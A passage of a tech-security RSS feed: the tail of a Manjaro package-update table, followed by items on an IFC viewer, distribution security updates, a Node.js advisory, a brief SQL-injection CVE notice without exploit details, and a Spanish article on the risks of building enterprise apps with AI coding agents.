                            r2ghidra              5.9.8-1              6.1.2-1
                             radare2              5.9.8-1              6.1.2-1
                               razor               2.86-3               2.87-2
                                 re2       2:2025.11.05-1       2:2025.11.05-3
                              reaper               7.66-1               7.67-1
                               rizin              0.8.1-2              0.8.2-1
                               rocal              7.2.0-1              7.2.0-2
                          rofi-emoji              4.1.0-2              4.1.0-3
                          rpi-imager              2.0.6-2              2.0.6-3
                          rubberband              4.0.0-1              4.0.0-2
                   rubberband-ladspa              4.0.0-1              4.0.0-2
                      rubberband-lv2              4.0.0-1              4.0.0-2
                     rubberband-vamp              4.0.0-1              4.0.0-2
                    ruby-addressable              2.8.8-1              2.8.9-1
                          ruby-async             2.34.0-1             2.38.1-1
                ruby-async-container             0.31.0-1             0.34.4-1
                     ruby-async-pool             0.11.1-1             0.11.2-1
                  ruby-async-service             0.19.1-1             0.21.0-1
                     ruby-chef-utils            19.2.27-1            19.2.32-1
                ruby-google-protobuf               33.1-4               34.1-1
                           ruby-grpc             1.78.1-1             1.80.0-1
                       ruby-io-event             1.14.2-1             1.14.5-1
                         ruby-loofah             2.25.0-1             2.25.1-1
                            ruby-lsp             0.26.6-1             0.26.9-1
                       ruby-maxitest              6.1.0-1              6.2.0-1
            ruby-net-http-persistent              4.0.7-1              4.0.8-1
                  ruby-protocol-http             0.59.0-1             0.60.0-1
                  ruby-protocol-rack             0.21.1-1             0.22.0-1
                  ruby-public_suffix              7.0.2-1              7.0.5-1
           ruby-rails-html-sanitizer              1.6.2-3              1.7.0-1
            ruby-repl_type_completor             0.1.13-1             0.1.15-1
                         ruby-sequel             5.99.0-1            5.101.0-1
                 ruby-sorbet-runtime          0.6.12942-1          0.6.13068-1
                        ruby-sqlite3              2.9.1-1              2.9.2-1
        ruby-sus-fixtures-async-http             0.12.0-1             0.12.1-1
                       ruby-zeitwerk              2.7.3-1              2.7.5-1
                      rustypaste-cli              0.9.4-1              0.9.5-1
                           rz-cutter              2.4.1-5              2.4.1-6
                                sbcl              2.6.2-1              2.6.3-1
                           scap-dkms             0.20.0-9             0.23.1-1
                             scummvm           2026.1.0-1           2026.2.0-1
                          sentry-cli              3.3.4-1              3.3.5-1
                       sentry-native             0.13.3-1             0.13.4-1
                               sfizz              1.2.3-8             1.2.3-10
                           sfizz-lib              1.2.3-8             1.2.3-10
                           sfizz-lv2             1.2.3-12             1.2.3-13
                    sfizz-standalone              1.2.3-8             1.2.3-10
                            sfizz-ui             1.2.3-12             1.2.3-13
                          sfizz-vst3             1.2.3-12             1.2.3-13
                         shadowsocks    3.0.0a.20180219-9                    -
                          shellcheck            0.11.0-79            0.11.0-81
                            skaffold             2.18.0-1             2.18.2-1
                                skim              4.0.1-1              4.2.0-1
                         slicer-udev              2.9.4-7              2.9.4-8
                            smplayer             25.6.0-1             25.6.0-2
                            soapyuhd             0.4.1-14             0.4.1-15
                      spotify-player             0.22.1-1             0.23.0-1
                           sqlcipher             4.13.0-1             4.14.0-1
                            sqlfluff              4.0.4-2              4.1.0-1
                             sslscan              2.2.1-1              2.2.2-1
                               stack          2.9.3.1-118          2.9.3.1-123
                             step-ca             0.29.0-1             0.30.2-1
                          strongswan              6.0.4-2              6.0.5-1
                             stumpwm              24.11-9             24.11-10
                     stylish-haskell          0.14.5.0-11          0.14.5.0-13
                               swtpm             0.10.1-1             0.10.1-2
                                 syd             3.51.0-1             3.51.2-1
                           syslog-ng             4.11.0-1             4.11.0-2
                      syslog-ng-amqp             4.11.0-1             4.11.0-2
                    syslog-ng-geoip2             4.11.0-1             4.11.0-2
                     syslog-ng-kafka             4.11.0-1             4.11.0-2
                   syslog-ng-mongodb             4.11.0-1             4.11.0-2
                    syslog-ng-python             4.11.0-1             4.11.0-2
                     syslog-ng-redis             4.11.0-1             4.11.0-2
                      syslog-ng-smtp             4.11.0-1             4.11.0-2
                      syslog-ng-snmp             4.11.0-1             4.11.0-2
                       syslog-ng-sql             4.11.0-1             4.11.0-2
                             systing              1.0.0-1              1.0.0-2
                            taffybar             4.1.0-13             4.1.0-18
                      tamarin-prover            1.12.0-10            1.12.0-14
                     taskwarrior-tui             0.26.7-1             0.26.8-1
                     tauon-music-box              9.1.1-1              9.1.2-1
                    telegram-desktop              6.6.4-6              6.6.4-7
                          terragrunt             0.99.4-2             0.99.5-1
                              thunar             4.20.7-1             4.20.8-1
                         thunderbird              149.0-1            149.0.1-1
                 thunderbird-i18n-af              149.0-1            149.0.1-1
                 thunderbird-i18n-ar              149.0-1            149.0.1-1
                thunderbird-i18n-ast              149.0-1            149.0.1-1
                 thunderbird-i18n-be              149.0-1            149.0.1-1
                 thunderbird-i18n-bg              149.0-1            149.0.1-1
                 thunderbird-i18n-br              149.0-1            149.0.1-1
                 thunderbird-i18n-ca              149.0-1            149.0.1-1
                thunderbird-i18n-cak              149.0-1            149.0.1-1
                 thunderbird-i18n-cs              149.0-1            149.0.1-1
                 thunderbird-i18n-cy              149.0-1            149.0.1-1
                 thunderbird-i18n-da              149.0-1            149.0.1-1
                 thunderbird-i18n-de              149.0-1            149.0.1-1
                thunderbird-i18n-dsb              149.0-1            149.0.1-1
                 thunderbird-i18n-el              149.0-1            149.0.1-1
              thunderbird-i18n-en-gb              149.0-1            149.0.1-1
              thunderbird-i18n-en-us              149.0-1            149.0.1-1
              thunderbird-i18n-es-ar              149.0-1            149.0.1-1
              thunderbird-i18n-es-es              149.0-1            149.0.1-1
                 thunderbird-i18n-et              149.0-1            149.0.1-1
                 thunderbird-i18n-eu              149.0-1            149.0.1-1
                 thunderbird-i18n-fi              149.0-1            149.0.1-1
                 thunderbird-i18n-fr              149.0-1            149.0.1-1
              thunderbird-i18n-fy-nl              149.0-1            149.0.1-1
              thunderbird-i18n-ga-ie              149.0-1            149.0.1-1
                 thunderbird-i18n-gd              149.0-1            149.0.1-1
                 thunderbird-i18n-gl              149.0-1            149.0.1-1
                 thunderbird-i18n-he              149.0-1            149.0.1-1
                 thunderbird-i18n-hr              149.0-1            149.0.1-1
                thunderbird-i18n-hsb              149.0-1            149.0.1-1
                 thunderbird-i18n-hu              149.0-1            149.0.1-1
              thunderbird-i18n-hy-am              149.0-1            149.0.1-1
                 thunderbird-i18n-id              149.0-1            149.0.1-1
                 thunderbird-i18n-is              149.0-1            149.0.1-1
                 thunderbird-i18n-it              149.0-1            149.0.1-1
                 thunderbird-i18n-ja              149.0-1            149.0.1-1
                 thunderbird-i18n-ka              149.0-1            149.0.1-1
                thunderbird-i18n-kab              149.0-1            149.0.1-1
                 thunderbird-i18n-kk              149.0-1            149.0.1-1
                 thunderbird-i18n-ko              149.0-1            149.0.1-1
                 thunderbird-i18n-lt              149.0-1            149.0.1-1
                 thunderbird-i18n-ms              149.0-1            149.0.1-1
              thunderbird-i18n-nb-no              149.0-1            149.0.1-1
                 thunderbird-i18n-nl              149.0-1            149.0.1-1
              thunderbird-i18n-nn-no              149.0-1            149.0.1-1
              thunderbird-i18n-pa-in              149.0-1            149.0.1-1
                 thunderbird-i18n-pl              149.0-1            149.0.1-1
              thunderbird-i18n-pt-br              149.0-1            149.0.1-1
              thunderbird-i18n-pt-pt              149.0-1            149.0.1-1
                 thunderbird-i18n-rm              149.0-1            149.0.1-1
                 thunderbird-i18n-ro              149.0-1            149.0.1-1
                 thunderbird-i18n-ru              149.0-1            149.0.1-1
                 thunderbird-i18n-sk              149.0-1            149.0.1-1
                 thunderbird-i18n-sl              149.0-1            149.0.1-1
                 thunderbird-i18n-sq              149.0-1            149.0.1-1
                 thunderbird-i18n-sr              149.0-1            149.0.1-1
              thunderbird-i18n-sv-se              149.0-1            149.0.1-1
                 thunderbird-i18n-th              149.0-1            149.0.1-1
                 thunderbird-i18n-tr              149.0-1            149.0.1-1
                 thunderbird-i18n-uk              149.0-1            149.0.1-1
                 thunderbird-i18n-uz              149.0-1            149.0.1-1
                 thunderbird-i18n-vi              149.0-1            149.0.1-1
              thunderbird-i18n-zh-cn              149.0-1            149.0.1-1
              thunderbird-i18n-zh-tw              149.0-1            149.0.1-1
                         timescaledb             2.26.0-1             2.26.1-1
             timescaledb-old-upgrade             2.26.0-1             2.26.1-1
                       tokio-console             0.1.14-1             0.1.14-2
                             traefik             3.6.11-1             3.6.12-1
                                tree              2.3.1-1              2.3.2-1
                             udiskie              2.6.1-1              2.6.2-1
                         udisks2-qt5              5.0.6-2                    -
              ultramaster-kr106-clap              2.4.4-1            2.4.6.1-1
               ultramaster-kr106-lv2              2.4.4-1            2.4.6.1-1
              ultramaster-kr106-vst3              2.4.4-1            2.4.6.1-1
                               usage             2.18.2-1              3.2.0-1
                            usbguard              1.1.4-4              1.1.4-5
                                vala            0.56.18-5            0.56.19-1
                             vcspull             1.58.0-1             1.58.1-1
                    vhba-module-dkms          20250329-70          20250329-71
                                 vim           9.2.0204-2           9.2.0272-1
                         vim-runtime           9.2.0204-2           9.2.0272-1
                                 vis 0.9.r397.gda84fe70-1 0.9.r399.g1a4fb0fd-1
             vis-syntax-highlighting 0.9.r397.gda84fe70-1 0.9.r399.g1a4fb0fd-1
                                 vlc             3.0.22-1             3.0.22-2
                             vlc-cli             3.0.22-1             3.0.22-2
                     vlc-gui-ncurses             3.0.22-1             3.0.22-2
                          vlc-gui-qt             3.0.22-1             3.0.22-2
                      vlc-gui-skins2             3.0.22-1             3.0.22-2
                   vlc-plugin-a52dec             3.0.22-1             3.0.22-2
                    vlc-plugin-aalib             3.0.22-1             3.0.22-2
                     vlc-plugin-alsa             3.0.22-1             3.0.22-2
                      vlc-plugin-aom             3.0.22-1             3.0.22-2
                  vlc-plugin-archive             3.0.22-1             3.0.22-2
                  vlc-plugin-aribb24             3.0.22-1             3.0.22-2
                  vlc-plugin-aribb25             3.0.22-1             3.0.22-2
                      vlc-plugin-ass             3.0.22-1             3.0.22-2
                    vlc-plugin-avahi             3.0.22-1             3.0.22-2
                   vlc-plugin-bluray             3.0.22-1             3.0.22-2
                     vlc-plugin-caca             3.0.22-1             3.0.22-2
                     vlc-plugin-cddb             3.0.22-1             3.0.22-2
               vlc-plugin-chromecast             3.0.22-1             3.0.22-2
                    vlc-plugin-dav1d             3.0.22-1             3.0.22-2
                     vlc-plugin-dbus             3.0.22-1             3.0.22-2
         vlc-plugin-dbus-screensaver             3.0.22-1             3.0.22-2
                      vlc-plugin-dca             3.0.22-1             3.0.22-2
                      vlc-plugin-dvb             3.0.22-1             3.0.22-2
                      vlc-plugin-dvd             3.0.22-1             3.0.22-2
                    vlc-plugin-faad2             3.0.22-1             3.0.22-2
                   vlc-plugin-ffmpeg             3.0.22-1             3.0.22-2
                 vlc-plugin-firewire             3.0.22-1             3.0.22-2
                     vlc-plugin-flac             3.0.22-1             3.0.22-2
               vlc-plugin-fluidsynth             3.0.22-1             3.0.22-2
                 vlc-plugin-freetype             3.0.22-1             3.0.22-2
                      vlc-plugin-gme             3.0.22-1             3.0.22-2
                   vlc-plugin-gnutls             3.0.22-1             3.0.22-2
                vlc-plugin-gstreamer             3.0.22-1             3.0.22-2
                  vlc-plugin-inflate             3.0.22-1             3.0.22-2
                     vlc-plugin-jack             3.0.22-1             3.0.22-2
                  vlc-plugin-journal             3.0.22-1             3.0.22-2
                     vlc-plugin-jpeg             3.0.22-1             3.0.22-2
                     vlc-plugin-kate             3.0.22-1             3.0.22-2
                  vlc-plugin-kwallet             3.0.22-1             3.0.22-2
                vlc-plugin-libsecret             3.0.22-1             3.0.22-2
                     vlc-plugin-lirc             3.0.22-1             3.0.22-2
                  vlc-plugin-live555             3.0.22-1             3.0.22-2
                      vlc-plugin-lua             3.0.22-1             3.0.22-2
                      vlc-plugin-mad             3.0.22-1             3.0.22-2
                 vlc-plugin-matroska             3.0.22-1             3.0.22-2
                     vlc-plugin-mdns             3.0.22-1             3.0.22-2
                  vlc-plugin-modplug             3.0.22-1             3.0.22-2
                    vlc-plugin-mpeg2             3.0.22-1             3.0.22-2
                   vlc-plugin-mpg123             3.0.22-1             3.0.22-2
                      vlc-plugin-mtp             3.0.22-1             3.0.22-2
                 vlc-plugin-musepack             3.0.22-1             3.0.22-2
                      vlc-plugin-nfs             3.0.22-1             3.0.22-2
                   vlc-plugin-notify             3.0.22-1             3.0.22-2
                      vlc-plugin-ogg             3.0.22-1             3.0.22-2
                     vlc-plugin-opus             3.0.22-1             3.0.22-2
                      vlc-plugin-png             3.0.22-1             3.0.22-2
                    vlc-plugin-pulse             3.0.22-1             3.0.22-2
                vlc-plugin-quicksync             3.0.22-1             3.0.22-2
               vlc-plugin-samplerate             3.0.22-1             3.0.22-2
                      vlc-plugin-sdl             3.0.22-1             3.0.22-2
                     vlc-plugin-sftp             3.0.22-1             3.0.22-2
                    vlc-plugin-shout             3.0.22-1             3.0.22-2
                      vlc-plugin-smb             3.0.22-1             3.0.22-2
                     vlc-plugin-soxr             3.0.22-1             3.0.22-2
                    vlc-plugin-speex             3.0.22-1             3.0.22-2
                      vlc-plugin-srt             3.0.22-1             3.0.22-2
                      vlc-plugin-svg             3.0.22-1             3.0.22-2
                      vlc-plugin-tag             3.0.22-1             3.0.22-2
                   vlc-plugin-theora             3.0.22-1             3.0.22-2
                  vlc-plugin-twolame             3.0.22-1             3.0.22-2
                     vlc-plugin-udev             3.0.22-1             3.0.22-2
                     vlc-plugin-upnp             3.0.22-1             3.0.22-2
                   vlc-plugin-vorbis             3.0.22-1             3.0.22-2
                      vlc-plugin-vpx             3.0.22-1             3.0.22-2
                     vlc-plugin-x264             3.0.22-1             3.0.22-2
                     vlc-plugin-x265             3.0.22-1             3.0.22-2
                      vlc-plugin-xml             3.0.22-1             3.0.22-2
                     vlc-plugin-zvbi             3.0.22-1             3.0.22-2
                     vlc-plugins-all             3.0.22-1             3.0.22-2
                    vlc-plugins-base             3.0.22-1             3.0.22-2
                   vlc-plugins-extra             3.0.22-1             3.0.22-2
            vlc-plugins-video-output             3.0.22-1             3.0.22-2
           vlc-plugins-visualization             3.0.22-1             3.0.22-2
                              vmexec              0.4.0-1              0.5.2-1
                                vpnc  1:0.5.3.r539.r239-1  1:0.5.3.r557.r241-1
                         warzone2100              4.6.3-2              4.6.3-3
                           watchexec              2.5.0-1              2.5.1-1
             webrtc-audio-processing                2.1-5                2.1-6
                         wireplumber             0.5.13-2             0.5.14-1
                    wireplumber-docs             0.5.13-2             0.5.14-1
                       wireshark-cli              4.6.4-1              4.6.4-2
                        wireshark-qt              4.6.4-1              4.6.4-2
              xdg-desktop-portal-dde             1.0.13-7             1.0.14-1
                           xdp-tools              1.6.2-1              1.6.3-1
                           xfdesktop             4.20.1-3             4.20.2-1
                              xmobar             0.50-137             0.50-141
                              xmonad           0.18.0-154           0.18.0-156
                      xmonad-contrib           0.18.1-138           0.18.1-140
                         xmonad-dbus          0.1.0.2-240          0.1.0.2-243
                       xmonad-extras             0.17.3-6             0.17.3-9
                      xorg-setxkbmap              1.3.4-2              1.3.5-1
                                 xrt          1:2.21.75-5          1:2.21.75-6
                          xtrabackup            8.4.0_5-1            8.4.0_5-2
                                  z3             4.15.4-2             4.16.0-1
                             z3-java             4.15.4-2             4.16.0-1
                             zathura         2026.02.22-1         2026.03.27-1
                          zathura-cb         2026.02.03-3         2026.02.03-4
                        zathura-djvu         2026.02.03-3         2026.02.03-4
                   zathura-pdf-mupdf         2026.02.03-5         2026.02.03-6
                 zathura-pdf-poppler         2026.02.03-3         2026.02.03-4
                          zathura-ps         2026.02.03-3         2026.02.03-4
                              zettlr              4.3.0-1              4.3.1-1
                              zypper            1.14.95-1            1.14.95-2
                            ares-emu                    -                147-2
                             diffoci                    -              0.1.8-1
                         govulncheck                    -              1.1.4-1
                       libkysdk-base                    -            3.0.1.0-1
                         librashader                    -             0.10.1-2
                       python-podman                    -              5.8.0-2
                        python-pylxd                    -              2.4.0-2
                        python-ws4py                    -              0.6.0-4
                         udisks2-qt6                    -              6.0.1-1


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                         lib32-clang             22.1.1-1             22.1.2-1
              lib32-gst-plugins-base             1.28.1-2             1.28.1-3
         lib32-gst-plugins-base-libs             1.28.1-2             1.28.1-3
              lib32-gst-plugins-good             1.28.1-2             1.28.1-3
                     lib32-gstreamer             1.28.1-2             1.28.1-3
                        lib32-libvpx             1.15.2-2             1.16.0-2
                          lib32-llvm           1:22.1.1-1           1:22.1.2-1
                     lib32-llvm-libs           1:22.1.1-1           1:22.1.2-1
</code></pre>
<p><a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
<hr>
            <p><small>2 posts - 2 participants</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Open Source IFC viewer]]></title>
<description><![CDATA[I wrote an open source IFC viewer (open file format for construction purposes) that works on both Linux and Windows from the same code base. The UI is built on PyQt6, which then kicks off a nodejs/wasm process to extract data and geometry using WebIFC. The geometry is presented with three.js and ...]]></description>
<link>https://tsecurity.de/de/3394695/linux-tipps/open-source-ifc-viewer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3394695/linux-tipps/open-source-ifc-viewer/</guid>
<pubDate>Tue, 31 Mar 2026 04:07:53 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I wrote an open source IFC viewer (open file format for construction purposes) that works on both Linux and Windows from the same code base. The UI is built on PyQt6, which then kicks off a nodejs/wasm process to extract data and geometry using WebIFC. The geometry is presented with three.js and displayed in the UI using a webview component.</p> <p>This is still a dev preview, but work is well on its way to turn this into something useful.</p> <p>The design intent was to make an IFC viewer that's cross-platform, performs as fast as possible and to be extensible. I'm currently working on the API part, but right now it's already a very fast and simple viewer that can potentially work as the backbone for someone's future planning- and cost estimation solution.</p> <p>If you're interested, you can visit the repo on <a href="https://github.com/BIMtuitive/ifc-file-companion">https://github.com/BIMtuitive/ifc-file-companion</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Clogboy82"> /u/Clogboy82 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1s7vo1g/open_source_ifc_viewer/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1s7vo1g/open_source_ifc_viewer/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (freerdp, golang, and ncurses), Debian (asterisk, bind9, gst-plugins-base1.0, gst-plugins-ugly1.0, gvfs, incus, libxml-parser-perl, nodejs, php-phpseclib, php-phpseclib3, phpseclib, and strongswan), Fedora (bcftools, bind, bind-dyndb-ldap, chromium, ...]]></description>
<link>https://tsecurity.de/de/3393152/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3393152/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 30 Mar 2026 15:11:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (freerdp, golang, and ncurses), <b>Debian</b> (asterisk, bind9, gst-plugins-base1.0, gst-plugins-ugly1.0, gvfs, incus, libxml-parser-perl, nodejs, php-phpseclib, php-phpseclib3, phpseclib, and strongswan), <b>Fedora</b> (bcftools, bind, bind-dyndb-ldap, chromium, dotnet10.0, dotnet8.0, dotnet9.0, giflib, htslib, libsoup3, libtasn1, maturin, mingw-expat, mingw-freetype, mongo-c-driver, perl-XML-Parser, php-phpseclib, php-phpseclib3, pypy, pypy3.10, pypy3.11, python-cryptography, python-fastar, python-ply, python-pycparser, python-uv-build, python3.11, python3.12, python3.13, python3.6, roundcubemail, rubygem-json, rust-ambient-id, rust-astral-reqwest-middleware, rust-astral-reqwest-retry, rust-astral-tokio-tar, rust-astral_async_http_range_reader, rust-cargo-c, rust-ingredients, rust-native-tls, rust-nix, rust-openssl-probe, rust-openssl-probe0.1, rust-pty-process, rust-reqsign, rust-reqsign-aliyun-oss, rust-reqsign-aws-v4, rust-reqsign-azure-storage, rust-reqsign-command-execute-tokio, rust-reqsign-core, rust-reqsign-file-read-tokio, rust-reqsign-google, rust-reqsign-http-send-reqwest, rust-reqsign-huaweicloud-obs, rust-reqsign-tencent-cos, rust-rustls-native-certs, rust-sequoia-chameleon-gnupg, rust-tar, rust-webpki-root-certs, rustup, samtools, suricata, uv, and vim), <b>Mageia</b> (cmake, libpng, nodejs, python-ujson, and strongswan), <b>Red Hat</b> (python3 and python3.9), <b>SUSE</b> (389-ds, amazon-cloudwatch-agent, capstone, chromium, containerd, cosign, curl, docker-compose, docker-stable, exiv2, expat, firefox, freeipmi, freerdp, gimp, glusterfs, govulncheck-vulndb, gstreamer-plugins-ugly, jupyter-bqplot-jupyterlab, jupyter-jupyterlab-templates, jupyter-matplotlib, kea, kernel, libsodium, libtpms-devel, LibVNCServer, nghttp2, nginx, poppler, python-dynaconf, python-ldap, python-nltk, python-orjson, python-pyasn1, python-pydicom, python-PyJWT, python-pyopenssl, python-tornado6, python311, python311-cbor2, python311-deepdiff, python311-intake, python311-jsonpath-ng, python311-lmdb, python311-oci-sdk, python312, rclone, redis, salt, tomcat11, v2ray-core, and vim), and <b>Ubuntu</b> (linux-ibm-5.4).]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Debian)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3391495/unix-server/security-mehrere-probleme-in-nodejs-debian/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3391495/unix-server/security-mehrere-probleme-in-nodejs-debian/</guid>
<pubDate>Sun, 29 Mar 2026 23:34:53 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[DSA-6183-1 nodejs - security update]]></title>
<description><![CDATA[Multiple vulnerabilities were discovered in Node.js, which could result
in denial of service, side channel attacks or information disclosure.


https://security-tracker.debian.org/tracker/DSA-6183-1]]></description>
<link>https://tsecurity.de/de/3391176/unix-server/dsa-6183-1-nodejs-security-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3391176/unix-server/dsa-6183-1-nodejs-security-update/</guid>
<pubDate>Sun, 29 Mar 2026 18:50:19 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Multiple vulnerabilities were discovered in Node.js, which could result
in denial of service, side channel attacks or information disclosure.

<p>
<a href="https://security-tracker.debian.org/tracker/DSA-6183-1">https://security-tracker.debian.org/tracker/DSA-6183-1</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-33991 | LabRedesCefetRJ WeGIA up to 3.6.6 deletar_tag.php deletar_tag $_REQUEST sql injection (EUVD-2026-16884)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, has been found in LabRedesCefetRJ WeGIA up to 3.6.6. This issue affects the function deletar_tag of the file html/socio/sistema/deletar_tag.php. This manipulation of the argument $_REQUEST causes sql injection.

This vulnerability is handled as C...]]></description>
<link>https://tsecurity.de/de/3387928/sicherheitsluecken/cve-2026-33991-labredescefetrj-wegia-up-to-366-deletartagphp-deletartag-request-sql-injection-euvd-2026-16884/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3387928/sicherheitsluecken/cve-2026-33991-labredescefetrj-wegia-up-to-366-deletartagphp-deletartag-request-sql-injection-euvd-2026-16884/</guid>
<pubDate>Sat, 28 Mar 2026 00:52:24 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/?kb.risk">critical</a>, has been found in <a href="https://vuldb.com/?product.labredescefetrj:wegia">LabRedesCefetRJ WeGIA up to 3.6.6</a>. This issue affects the function <code>deletar_tag</code> of the file <em>html/socio/sistema/deletar_tag.php</em>. This manipulation of the argument <em>$_REQUEST</em> causes sql injection.

This vulnerability is handled as <a href="https://vuldb.com/?source_cve.354062">CVE-2026-33991</a>. The attack can be initiated remotely. There is not any exploit available.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Por qué desarrollar aplicaciones empresariales propias con Vibe es una apuesta arriesgada]]></title>
<description><![CDATA[El rápido avance de los asistentes de programación basados en IA conduce a algunas organizaciones a llevar más allá el concepto de desarrollo de aplicaciones asistido por IA mediante la creación de herramientas de nivel empresarial, con el propósito de sustituir o ampliar el software tradicional....]]></description>
<link>https://tsecurity.de/de/3386085/it-nachrichten/por-qu-desarrollar-aplicaciones-empresariales-propias-con-vibe-es-una-apuesta-arriesgada/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3386085/it-nachrichten/por-qu-desarrollar-aplicaciones-empresariales-propias-con-vibe-es-una-apuesta-arriesgada/</guid>
<pubDate>Fri, 27 Mar 2026 11:47:03 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>El rápido avance de los asistentes de programación basados en IA conduce a algunas organizaciones a llevar más allá el concepto de desarrollo de aplicaciones asistido por IA mediante la creación de herramientas de nivel empresarial, con el propósito de sustituir o ampliar el software tradicional.</p>



<p>Si bien la tendencia hacia la programación por intuición del propio software empresarial aún está en pañales, algunas empresas han comenzado a sustituir sus CRM tradicionales por aplicaciones de desarrollo propio.</p>



<p>Las cotizaciones bursátiles de los proveedores tradicionales de SaaS se han visto afectadas en las últimas semanas por la preocupación ante la competencia de la IA. Gran parte de la preocupación se ha centrado en que los clientes gasten menos en SaaS conforme aumentan la implementación de la IA y los agentes de IA asumen algunas funcionalidades de las plataformas SaaS.</p>



<p>No obstante, algunos expertos sostienen que los clientes también podrían optar por cancelar por completo algunas suscripciones de SaaS según implementan sus propios sustitutos. No es que las principales plataformas de SaaS estén en peligro, pero las empresas que utilizan asistentes de programación de IA o que implementan agentes de desarrollo propio podrían implementar aplicaciones empresariales más pequeñas que se conectan a ellas cada vez de manera interna.</p>



<p>De todas formas, los responsables de TI deben tener en cuenta retos importantes, como el riesgo que supone sustituir paquetes de software empresarial probados en la práctica por aplicaciones codificadas con Vibe, ya que la responsabilidad del mantenimiento y el soporte recae en la organización que las implementa.</p>



<h2 class="wp-block-heading">Codificación con Vibe frente a la compra</h2>



<p>De todas formas, el proveedor de agentes de codificación con IA Factory “se ha estado comiendo su propio producto” conforme algunas de sus propias aplicaciones empresariales, afirma Eno Reyes, director técnico y cofundador de la empresa. Es más, no duda en añadir que varios clientes de Factory están haciendo lo mismo.</p>



<p>Para empezar, cree que la empresa ha empezado a plantearse en los últimos seis u ocho meses si es capaz de crear un paquete de software por sí misma en lugar de comprarlo o suscribirse a él. Así, el flujo de trabajo de atención al cliente de Factory y sus herramientas legales se crearon de manera interna con agentes de IA, y la empresa sustituyó una aplicación de análisis de terceros por una versión interna.</p>



<p>“Hemos empezado a crear muchas cosas de manera interna que, históricamente, habríamos comprado”, dice Reyes, para añadir: “Muchos de nuestros sistemas de flujo de trabajo internos son simplemente código que han generado los agentes”</p>



<p>Incluso observa la misma tendencia entre los clientes. “Muchas de las herramientas que solían comprar son pequeñas utilidades o productos micro-SaaS. Con un agente, alguien puede simplemente decir: “Constrúyeme un panel que muestre la velocidad de ingeniería” o “conecta este conjunto de datos con este otro y visualízalo”. En lugar de pasar por el proceso de adquisición, la herramienta simplemente se crea”.</p>



<p>Reyes tiene claro que las ventajas de crear tu propio software incluyen la flexibilidad y la rapidez. “Si quieres algo muy específico, un agente puede generarlo directamente a partir de tus propios datos, sistemas y flujos de trabajo. Por eso, cosas como los paneles de control internos, las herramientas de análisis o las pequeñas aplicaciones de flujo de trabajo suelen ser más fáciles de crear que de comprar hoy en día”.</p>



<h2 class="wp-block-heading">El coste de hacerlo por tu cuenta</h2>



<p>También existen desventajas reales, advierte Reyes, y los costes de desarrollar uno sus propias aplicaciones internas y también mantener su software son factores importantes a tener en cuenta.</p>



<p>Y añade: “Aunque los agentes pueden generar software, un producto SaaS completo suele existir porque un gran equipo ha dedicado años a mantenerlo. Cuando realizamos nuestra prueba comparativa interna en la que los agentes replican productos SaaS función por función, el agente puede hacerlo, pero lleva mucho tiempo y es caro. Y cuando se termina, sigues sin tener un equipo de cientos de personas que mantengan el sistema”.</p>



<p>Este analista advierte otro problema potencial, como es el alcance del software que se está creando. A su juicio, herramientas como las aplicaciones de <em>vibe coding</em> pueden producir aplicaciones más pequeñas de una manera más fácil. “Pero cuando se trata de sistemas empresariales complejos, el software crece muy rápidamente y se necesita una infraestructura capaz de gestionar y mantener ese código a lo largo del tiempo”.</p>



<p>Teniendo en cuenta estas posibles desventajas, Reyes no cree que las aplicaciones de IA de <em>vibe coding</em> vayan a sustituir a todas las plataformas SaaS consolidadas en un futuro próximo. Más bien considera que sobrevivirán las aplicaciones empresariales como Slack, con fuertes efectos de red, al igual que los sistemas —como el CRM de Salesforce— que funcionan como una fuente central de información.</p>



